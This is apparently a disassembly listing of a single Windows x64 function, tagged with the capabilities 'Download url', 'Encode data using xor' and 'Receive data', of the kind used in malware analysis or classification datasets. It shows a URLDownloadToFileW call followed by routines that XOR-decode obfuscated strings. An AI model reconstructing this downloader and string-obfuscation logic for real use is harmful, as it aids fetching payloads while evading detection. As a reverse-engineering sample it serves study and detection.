Function at 0x140048e80
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov r8, rdx
xor ebx, ebx
mov rdx, rcx
mov qword [rsp + 0x20], rbx
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140048fa1
mov qword [rsp + 0xf0], rdi
mov ecx, 0x29d7
mov rdi, qword [rsp + 0xf0]
mov dword [rbp - 0x59], 0xd665d66a
mov dword [rbp - 0x55], 0xd678d665
mov dword [rbp - 0x51], 0xd66dd66c
mov dword [rbp - 0x4d], 0xd610d67b
mov dword [rbp - 0x49], 0xd677d663
mov dword [rbp - 0x45], 0xd678d672
mov dword [rbp - 0x41], 0xd66fd679
mov dword [rbp - 0x3d], 0xd67ed617
mov dword [rbp - 0x39], 0xd669d678
mov dword [rbp - 0x35], 0xd61cd66f
mov dword [rbp - 0x31], 0xd672d67f
mov dword [rbp - 0x2d], 0xd607d676
mov dword [rbp - 0x29], 0xd616d609
mov dword [rbp - 0x25], 0xd617d663
mov dword [rbp - 0x21], 0xd616d610
mov dword [rbp - 0x1d], 0xd607d617
mov dword [rbp - 0x19], 0xd61ed61b
mov dword [rbp - 0x15], 0xd603d66b
mov dword [rbp - 0x11], 0xd66ed603
mov dword [rbp - 0xd], 0xd619d60b
mov dword [rbp - 9], 0xd611d602
mov dword [rbp - 5], 0xd606d61c
mov dword [rbp - 1], 0xd677d611
mov dword [rbp + 3], 0xd65d
mov byte [rbp + 7], 1
nop dword [rax]
nop word [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x2f
jb 0x140048f80
mov byte [rbp + 7], 0
lea rcx, [rbp - 0x59]
jmp 0x1400491a5
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmm0, xmmword [str.j_d]
movups xmm1, xmmword [0x1400f9d10]
mov eax, dword [0x1400f9d88]
movups xmmword [rbp - 0x59], xmm0
mov dword [rbp + 0x2f], eax
movups xmm0, xmmword [0x1400f9d20]
movzx eax, word [0x1400f9d8c]
movups xmmword [rbp - 0x39], xmm0
mov word [rbp + 0x33], ax
movups xmm0, xmmword [0x1400f9d40]
movups xmmword [rbp - 0x49], xmm1
movups xmm1, xmmword [0x1400f9d30]
movups xmmword [rbp - 0x19], xmm0
movups xmm0, xmmword [0x1400f9d60]
movups xmmword [rbp - 0x29], xmm1
movups xmm1, xmmword [0x1400f9d50]
movups xmmword [rbp + 7], xmm0
movsd xmm0, qword [0x1400f9d80]
movups xmmword [rbp - 9], xmm1
movups xmm1, xmmword [0x1400f9d70]
movsd qword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x17], xmm1
jl 0x14004915e
movdqa xmm5, xmmword [0x1400fa220]
lea rcx, [rbp - 0x59]
movdqa xmm4, xmmword [0x1400fa5e0]
movaps xmmword [rsp + 0xd0], xmm6
movdqa xmm6, xmmword [0x1400fa250]
movaps xmmword [rsp + 0xc0], xmm7
movdqa xmm7, xmmword [str.33333333]
nop dword [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add ebx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov eax, ebx
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp ebx, 0x40
jl 0x140049060
movaps xmm7, xmmword [rsp + 0xc0]
movaps xmm6, xmmword [rsp + 0xd0]
cmp eax, 0x47
jge 0x1400491a1
movsxd rax, ebx
lea r8, [rbp - 0x59]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 2]
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x33
xor word [r8 - 2], ax
cmp ebx, 0x47
jl 0x140049170
lea rcx, [rbp - 0x59]
call fcn.140044aa0
mov rbx, qword [rsp + 0xf8]
add rsp, 0xe0
pop rbp
ret